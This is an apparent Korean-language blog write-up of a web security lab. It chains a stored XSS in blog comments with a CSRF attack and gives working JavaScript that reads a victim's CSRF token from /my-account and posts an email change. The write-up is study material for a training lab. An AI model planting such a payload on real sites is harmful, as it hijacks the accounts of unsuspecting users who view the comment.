
이번엔 전전 문제와 같이 블로그 코멘트 부분에 stored XSS 취약점이 존재한다고 한다. 그리고 문제를 해결하기 위해서는 CSRF 공격을 통해 블로그의 코멘트를 보는 누군가의 이메일 주소를 변경해야 한다.
이번엔 ID: wiener, PW: peter로 로그인할 수 있다.

마침 힌트가 주어졌으니 확인해보자. 이미 다른 유저에 의해 사용되고 있는 이메일 주소는 등록할 수 없다고 한다. 즉, 최종 익스를 위해 테스트 할 때는 다른 이메일 주소를 사용하라고 한다! 유념하고 시작해보자.

주어진 아이디로 로그인했다.

내 이메일을 알려준다. 이메일은 wiener@normal-user.net이다.

이메일 이름을 변경해보았다.

성공적으로 변경했다. 근데 지금까지는 어떻게 취약점을 공격할 지 감이 안 온다.
그래서 burp suite로 이메일을 변경할 때 request를 확인해보았다.

Post로 보내는 request에 변경할 email 말고도 csrf라는 값이 함께 전송되고 있다. 아마 이것이 강의에서 들은 token에 해당하는 것 같다! 토큰을 이렇게 그대로 보내주고 있으니, 우리는 Post requset에서 토큰을 얻어내서, 토큰 값과 함께 이메일 주소를 보내서 성공적으로 이메일 주소를 변경하도록 script를 구성해야 한다.
자바스크립트 코드로 웹페이지의 데이터를 받아오고 보내는 것을 먼저 알아야 한다.
위의 블로그를 참고했다.
먼저 XMLHttpRequest로 객체를 생성한다.
var xhr = new XMLHttpRequest();
그리고 onload를 통해 POST에 전달할 값을 설정한다.
먼저, 토큰 값을 얻어와야 한다.

토큰은 Name: csrf, Value: 토큰값으로 구성되어 있다. 우리는 함수를 실행한 객체의 요청에서 얻은 token 값을 사용해야 하므로, 자바스크립트의 this.responseText 속성을 사용할 수 있다. 그리고 match 함수를 통해 조건과 일치하는 문자열을 찾을 수 있다.
조건으로는 name=’csrf’이고, value=’(w+)’을 할 수 있다. w+는 하나 이상의 단어가 나타남을 표현한 것으로, token 값이 어떤 것인지 모르기에 위와 같이 표현해야 한다.
이를 종합하면 아래와 같이 표현할 수 있다.
xhr.onload = () => {
var token = this.responseText.match(/name="csrf" value="(w+)"/);
};
이렇게 얻어온 token 값을 바탕으로 새로운 Post request로 전달할 값을 만들 수 있다.
다시 XMLHttpRequest로 새로운 객체를 만들고, open을 통해 이메일을 변경하는 path인 /my-account/change-email을 Post로 지정해준다. 그 다음에 지정한 token과 익스 이메일(test@test.com)을 send 해준다.
전체 코드는 다음과 같다.
xhr.onload = () => {
var token = this.responseText.match(/name="csrf" value="(w+)"/);
var change1 = new XMLHttpRequest();
change1.open('post', '/my-account/change-email', true);
change1.send('csrf='+token+'&email=test@test.com')
};
그 다음에 get 메소드를 통해 my-account 페이지를 요청한 requset를 받은 후에, onload 된 값을 send 해주면 된다.
이렇게 되면, 해당 코멘트를 본 사용자의 token을 얻어내서 해당 토큰의 사용자의 이메일을 test@test.com으로 바꾸는 공격이 실행된다!
전체 스크립트는 다음과 같다.
<script>
var xhr = new XMLHttpRequest();
xhr.onload = () => {
var token = this.responseText.match(/name="csrf" value="(w+)"/);
var change1 = new XMLHttpRequest();
change1.open('post', '/my-account/change-email', true);
change1.send('csrf='+token+'&email=test@test.com')
};
xhr.open('get','/my-account',true);
xhr.send();
</script>

완벽히 했다고 생각했는데 풀리지 않았다! 그래서 solution을 조금 참고했는데,, 나와 약간 다른 부분이 있었다.

onload 뒤에 바로 구현하지 않고, handleResponse라는 함수를 따로 구현해주었다.!

chatgpt에 차이점을 물어보았더니, 아주 잘 설명해주었다.
먼저, 나는 onload 함수에서 this로 참조할 수 있을 것이라 생각했지만, 이것이 불가능하다는 것이었다. this 대신 xhr을 사용해야 한다고 했다. 그리고 tokend을 얻어올 때도 끝에 [1]을 붙임으로써 정확하게 추출해와야 했다.
이를 바탕으로 코드를 수정해보았다.
<script>
var xhr = new XMLHttpRequest();
xhr.onload = () => {
var token = xhr.responseText.match(/name="csrf" value="(w+)"/)[1];
var change1 = new XMLHttpRequest();
change1.open('post', '/my-account/change-email', true);
change1.send('csrf='+token+'&email=test@test.com')
};
xhr.open('get','/my-account',true);
xhr.send();
</script>

수정한 스크립트로 코멘트를 달았더니..

문제 해결~